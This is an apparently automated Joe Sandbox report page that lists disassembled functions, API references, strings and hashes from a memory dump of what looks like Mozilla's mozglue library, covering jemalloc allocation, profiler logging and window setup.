ShowWindow, xrefs: 6C6756DE
LoadCursorW, xrefs: 6C675774

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 69a64e6f818336fd70b33c3403821254443a9714aaa75aa3a48f2d78dd818b85
Instruction ID: 730cbb56aa5bcecfdd6f718a850ca1128d2d25dc9b283cd741c4ecd0041cf465
Opcode Fuzzy Hash: 69a64e6f818336fd70b33c3403821254443a9714aaa75aa3a48f2d78dd818b85
Instruction Fuzzy Hash: 6E5133706117139BEB109F378D8492A3AFCAB46785F21486DB921E2A51EF74CC018F7D

Function 6C6734A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C673527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C67355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6735BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6735E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C67363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C673693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6736CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C673703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C67373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C673775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C67378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C673892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6738BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C673902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C673939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C673970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6739EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C673A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C673AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C673E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C673EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C673EE2

Part of subcall function 6C676180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C6761DD
Part of subcall function 6C676180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C67622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6740F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C67412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C674157

Part of subcall function 6C676180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C676250
Part of subcall function 6C676180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C676292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C67441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C674448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C67484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C674863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C674878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C674896
free.MOZGLUE ref: 6C67489F

Strings

, xrefs: 6C674CD2

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: b5f7da153ca07b8108878bcfd1c1d1dfb2106d5a6919cd469b17570d0f922aad
Instruction ID: d0b8aab8efca215f650c8a4f554726fd415ecf683b731cf5cb8f3aed70ad0eac
Opcode Fuzzy Hash: b5f7da153ca07b8108878bcfd1c1d1dfb2106d5a6919cd469b17570d0f922aad
Instruction Fuzzy Hash: 49F25A74908B81CFC731CF29C0846AAFBF1BF8A314F118A5ED98997711DB719886CB56

Function 6C65F070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C65F09B

Part of subcall function 6C635B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6356EE,?,00000001), ref: 6C635B85
Part of subcall function 6C635B50: EnterCriticalSection.KERNEL32(6C69F688,?,?,?,6C6356EE,?,00000001), ref: 6C635B90
Part of subcall function 6C635B50: LeaveCriticalSection.KERNEL32(6C69F688,?,?,?,6C6356EE,?,00000001), ref: 6C635BD8
Part of subcall function 6C635B50: GetTickCount64.KERNEL32 ref: 6C635BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C65F0AC

Part of subcall function 6C635C50: GetTickCount64.KERNEL32 ref: 6C635D40
Part of subcall function 6C635C50: EnterCriticalSection.KERNEL32(6C69F688), ref: 6C635D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C65F0BE

Part of subcall function 6C635C50: __aulldiv.LIBCMT ref: 6C635DB4
Part of subcall function 6C635C50: LeaveCriticalSection.KERNEL32(6C69F688), ref: 6C635DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C65F155
GetCurrentThreadId.KERNEL32 ref: 6C65F1E0
AcquireSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C65F1ED
ReleaseSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C65F212
GetCurrentThreadId.KERNEL32 ref: 6C65F229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C65F231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C65F248
GetCurrentThreadId.KERNEL32 ref: 6C65F2AE
AcquireSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C65F2BB
ReleaseSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C65F2F8

Part of subcall function 6C64CBE8: GetCurrentProcess.KERNEL32(?,6C6131A7), ref: 6C64CBF1
Part of subcall function 6C64CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6131A7), ref: 6C64CBFA

Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C624A68), ref: 6C65945E
Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C659470
Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C659482
Part of subcall function 6C659420: __Init_thread_footer.LIBCMT ref: 6C65949F

GetCurrentThreadId.KERNEL32 ref: 6C65F350
AcquireSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C65F35D
ReleaseSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C65F381
GetCurrentThreadId.KERNEL32 ref: 6C65F398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C65F3A0
GetCurrentThreadId.KERNEL32 ref: 6C65F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C65F491

Part of subcall function 6C6594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6594EE
Part of subcall function 6C6594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C659508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C65F3CF

Part of subcall function 6C65F070: GetCurrentThreadId.KERNEL32 ref: 6C65F440
Part of subcall function 6C65F070: AcquireSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C65F44D
Part of subcall function 6C65F070: ReleaseSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C65F472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C65F4A8
GetCurrentThreadId.KERNEL32 ref: 6C65F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C65F561
GetCurrentThreadId.KERNEL32 ref: 6C65F577
AcquireSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C65F585
ReleaseSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C65F5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6C65F499
[I %d/%d] profiler_resume, xrefs: 6C65F239
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C65F56A
[I %d/%d] profiler_pause_sampling, xrefs: 6C65F3A8

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: 0c2a61fede51abdec3fee483706c06d9a73ba0667bde31af98448f5c46785952
Instruction ID: 18e6e5bdb03e742f5d96a301f29d92bd97ecbef2de9ab705db3fe744ef4f1102
Opcode Fuzzy Hash: 0c2a61fede51abdec3fee483706c06d9a73ba0667bde31af98448f5c46785952
Instruction Fuzzy Hash: 3AD159316042029FDB10DF66C4847AA77F9EF87728F61451AF95983B81CB305818CBAF

Function 6C6264C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C6264DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C6264F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C626505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C626518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C62652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C62671C
GetCurrentProcess.KERNEL32 ref: 6C626724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C62672F
GetCurrentProcess.KERNEL32 ref: 6C626759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C626764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C626A80
GetSystemInfo.KERNEL32(?), ref: 6C626ABE
__Init_thread_footer.LIBCMT ref: 6C626AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C626AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C626AF7

Strings

nvd3d9wrap.dll, xrefs: 6C626500
nvdxgiwrap.dll, xrefs: 6C626513
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C626798
_etoured.dll, xrefs: 6C6264ED
detoured.dll, xrefs: 6C6264DA
user32.dll, xrefs: 6C626526

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: b09e939fcbe8cda2269a5fe56bd90f9d1d17ac5cce45bd74fe1a5b25f8fc1eee
Instruction ID: 2a3792d82789c79530b67bb6ffa4b63ff14ecc19bfb5d548d37aa75bab93e68d
Opcode Fuzzy Hash: b09e939fcbe8cda2269a5fe56bd90f9d1d17ac5cce45bd74fe1a5b25f8fc1eee
Instruction Fuzzy Hash: FCF1F270D0121A9FDB20CF25CD88BDAB7B5AF46318F144299E809A3681D735EE85CF99

Function 6C63D850 Relevance: 48.4, APIs: 21, Strings: 6, Instructions: 1109COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C63D904
LeaveCriticalSection.KERNEL32(?), ref: 6C63D971
memset.VCRUNTIME140(?,00000000,?), ref: 6C63D97B
LeaveCriticalSection.KERNEL32(?), ref: 6C63E2E3
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C63E2E9
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C63E308
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C63E315
AcquireSRWLockExclusive.KERNEL32(6C69E804), ref: 6C63E37C
GetSystemInfo.KERNEL32(?), ref: 6C63E3C7
__Init_thread_footer.LIBCMT ref: 6C63E3DA
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C69E810,00000040), ref: 6C63E404
InitializeCriticalSectionAndSpinCount.KERNEL32(6C69E7B8,00001388), ref: 6C63E46D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C69E744,00001388), ref: 6C63E483
InitializeCriticalSectionAndSpinCount.KERNEL32(6C69E784,00001388), ref: 6C63E4A9
InitializeCriticalSectionAndSpinCount.KERNEL32(6C69E7DC,00001388), ref: 6C63E4CA
InitializeCriticalSectionAndSpinCount.KERNEL32(6C69E768,00001388), ref: 6C63E50C
memset.VCRUNTIME140(00000000,00000000,00004000), ref: 6C63E52E
ReleaseSRWLockExclusive.KERNEL32(6C69E804), ref: 6C63E54F

Part of subcall function 6C62D960: EnterCriticalSection.KERNEL32(?), ref: 6C62D999
Part of subcall function 6C62D960: EnterCriticalSection.KERNEL32(6C69E7B8), ref: 6C62DA13

Strings

MOZ_CRASH(), xrefs: 6C63E62B
<jemalloc>, xrefs: 6C63E61C, 6C63E6CC
Compile-time page size does not divide the runtime one., xrefs: 6C63E621
MALLOC_OPTIONS, xrefs: 6C63E3FF
: (malloc) Unsupported character in malloc options: ', xrefs: 6C63E6DD
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C63E560, 6C63E58A, 6C63E5A5

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: CriticalSection$CountInitializeSpin$Enter$ExclusiveK@1@LeaveLockMaybe@_RandomUint64@mozilla@@memset$AcquireEnvironmentInfoInit_thread_footerReleaseSystemVariable_errno
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 919329573-429003945
Opcode ID: b8b452b65d9f419e792a27c6a1a99cfbaf4b7ed1eabbabfe67dfc426783bce5a
Instruction ID: 4bd54e7376fa2ffb8d02b66f78736ffc55e5ad7d5919b592fdb6eded4accd979
Opcode Fuzzy Hash: b8b452b65d9f419e792a27c6a1a99cfbaf4b7ed1eabbabfe67dfc426783bce5a
Instruction Fuzzy Hash: 5C92DE71A157228FD704CF29C580715BBE1BF86328F29E66DE8698B791D331E801CBD9

Function 6C67C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C67C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C67C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C67C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C67C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C67C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C67CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C67CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C67DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C67DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C67DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C67DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C67DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C67E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C67E432
memcpy.VCRUNTIME140(?,?,?), ref: 6C67E472

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 243868f86dce953560b409b55393b103b404dec596fead2210ecc5dc668d13de
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 4E33D071E0021ACFCB14CFA8C8806EDBBF2FF49314F284A69D955AB745D731A945CBA4

Function 6C63ED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C63EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C63EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C641695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6416B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C641770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C641A3E

Strings

~qal, xrefs: 6C63ED10
~qal, xrefs: 6C63ED13

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~qal$~qal
API String ID: 3693777188-1041579534
Opcode ID: 43d12380214f7a27e54d372fe79b1289a8f5883d0c4e6a87a381cf3bfb4d95e1
Instruction ID: eaddb6c12886f1a02cc0812dad060261293d2c6ba78844e35bcef74aeab4e2de
Opcode Fuzzy Hash: 43d12380214f7a27e54d372fe79b1289a8f5883d0c4e6a87a381cf3bfb4d95e1
Instruction Fuzzy Hash: BAB31871E04229CFCB14CFA8C890ADDB7B2BF49304F2582A9D559AB745D730AD86CF94

Function 6C62FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C69E7B8), ref: 6C62FF81
LeaveCriticalSection.KERNEL32(6C69E7B8), ref: 6C63022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C630240
EnterCriticalSection.KERNEL32(6C69E768), ref: 6C63025B
LeaveCriticalSection.KERNEL32(6C69E768), ref: 6C63027B

Strings

<jemalloc>, xrefs: 6C630D62, 6C630D76, 6C630DA7
: (malloc) Error in VirtualFree(), xrefs: 6C630D67, 6C630D7B, 6C630DAC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C62FE99, 6C62FEB7, 6C62FED3, 6C630DB8, 6C630DD3, 6C6319B4

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: da92db75148dfa28234be3a1a8e35d0f11dc0c355b5097b88f88a6620c3d9484
Instruction ID: 1f4d7d1d744c19120deb09e9727ed1ff2d2f9de6de68ba4fe3fd066bb89a7f37
Opcode Fuzzy Hash: da92db75148dfa28234be3a1a8e35d0f11dc0c355b5097b88f88a6620c3d9484
Instruction Fuzzy Hash: ADC2E071A057518FC714CF28C580756BBE1BF85328F28E66DE4AA8B7D5C731E805CB89

Function 6C67E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C67E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C67EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C67EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C67EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C67F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C67F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C680E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C680E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C680EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C680ED4

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: d8886d86f5c4aba2245d3b10a62ac4258bed0ffd702875b09e8855250e0bcd2c
Instruction ID: 0141cb24e77ca1f3bd8abe83f8f69089dd424a5d08795862ca913ae098418311
Opcode Fuzzy Hash: d8886d86f5c4aba2245d3b10a62ac4258bed0ffd702875b09e8855250e0bcd2c
Instruction Fuzzy Hash: B463AF71E0124ACFCB14CFA8C8909DDF7B2FF89314F298629D855AB745D730A946CBA4

Function 6C653E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C677770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>el,?,?,?,6C653E7D,?,?), ref: 6C67777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C653F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C653F5C
VerSetConditionMask.NTDLL ref: 6C653F8D
VerSetConditionMask.NTDLL ref: 6C653F99
VerSetConditionMask.NTDLL ref: 6C653FA0
VerSetConditionMask.NTDLL ref: 6C653FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C653FB4

Strings

nvd3d9wrap.dll, xrefs: 6C654466
C>el, xrefs: 6C653E93
nvinit.dll, xrefs: 6C654479

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>el$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-330797154
Opcode ID: 35edd3a7304f5e60204c7e50a00e324a779087f719cb042d7cabd2e187c7d74c
Instruction ID: 0fd46273d48fedec92eb967c3cf8f050857ce8411d96736f9341288e768f42ba
Opcode Fuzzy Hash: 35edd3a7304f5e60204c7e50a00e324a779087f719cb042d7cabd2e187c7d74c
Instruction Fuzzy Hash: AD52F031614B498FDB10DF34C890AAB77E9EF86208F54086DD5978B782CB74E919CB68

Function 6C62FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C69E7B8), ref: 6C62FF81
LeaveCriticalSection.KERNEL32(6C69E7B8), ref: 6C63022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C630240
EnterCriticalSection.KERNEL32(6C69E768), ref: 6C63025B
LeaveCriticalSection.KERNEL32(6C69E768), ref: 6C63027B

Strings

MOZ_CRASH(), xrefs: 6C630CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C62FE99, 6C62FEB7, 6C62FED3, 6C630DB8, 6C630DD3, 6C6319B4, 6C631A10

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

